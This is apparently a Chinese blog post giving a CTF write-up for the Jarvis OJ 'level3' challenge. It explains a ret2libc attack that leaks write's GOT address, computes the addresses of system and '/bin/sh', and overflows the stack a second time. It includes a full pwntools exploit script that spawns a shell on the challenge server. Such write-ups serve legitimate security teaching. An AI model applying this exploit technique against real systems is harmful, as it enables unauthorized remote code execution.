标签:c中 blog psi 不同的 images close src 保护 tom
这次除了elf程序还附带一个动态链接库
先看一下,很一般的保护
思路分析
在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数
但是用ida打开附带的链接库,可以看到system函数和“/bin/sh”字符串都存在
于是思路就确定为read函数溢出->system函数,同时加入参数“/bin/sh”
通过libc.so文件可以得到write、system和/bin/sh的偏移,但system和/bin/sh在内存的地址是未知的
函数在内存中地址为func_addr,在libc中偏移为func_libc则有
sys_addr - sys_libc == write_addr - write_libc
所以我们可以通过泄露write函数的地址,利用函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址
构造下图栈帧,溢出目标为system("/bin/sh"),获取shell
方法论
要利用偏移相等获得system和bin的地址,首先要泄露得到write的真实地址
可以通过打印write在got表中的地址,获取其真实地址
所以首先要输出write_got所对应的地址
所以先构造下图栈帧,先通过溢出write函数打印write_got
再返回到vuln函数再次执行read,实现二次溢出到system,最终获取shell
exp
#!usr/bin/env python # encoding:utf-8 from pwn import * #io = process("./level3") io = remote("pwn2.jarvisoj.com",9879) elf = ELF("./level3") writeplt = elf.plt["write"] #plt和got都在可执行程序中 writegot = elf.got["write"] func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so") writelibc = libc.symbols["write"] #libc中可以找到程序中有的/没有的函数的偏移 syslibc = libc.symbols["system"] binlibc = libc.search("/bin/sh").next() payload1 = ‘a‘ * 0x88 + ‘f**k‘ + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4) #溢出地址+返回地址+参数 io.recvuntil("Input:\n") io.sendline(payload1) writeaddr = u32(io.recv(4)) #由于python没有指针,不能*write_got,需要将其输出并保存 sysaddr = writeaddr - writelibc + syslibc #利用偏移量相等获得其真实地址 binaddr = writeaddr - writelibc + binlibc payload2 = ‘a‘ * 0x88 + ‘f**k‘ + p32(sysaddr) + p32(func) + p32(binaddr) io.recvuntil("Input:\n") io.sendline(payload2) io.interactive() io.close()
补充
经@M4X学长提醒,本地运行时优先装在本地系统中的libc库,导致实际装载库并非
造成本地地址错误,但是远程没问题
可以首先进行if判断,链接不同的库解决
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/WangAoBo/
如有转载,荣幸之至!请随手标明出处;
Jarvis OJ - [XMAN]level3 - Writeup——rop2libc尝试
标签:c中 blog psi 不同的 images close src 保护 tom
原文地址:http://www.cnblogs.com/ZHijack/p/7900736.html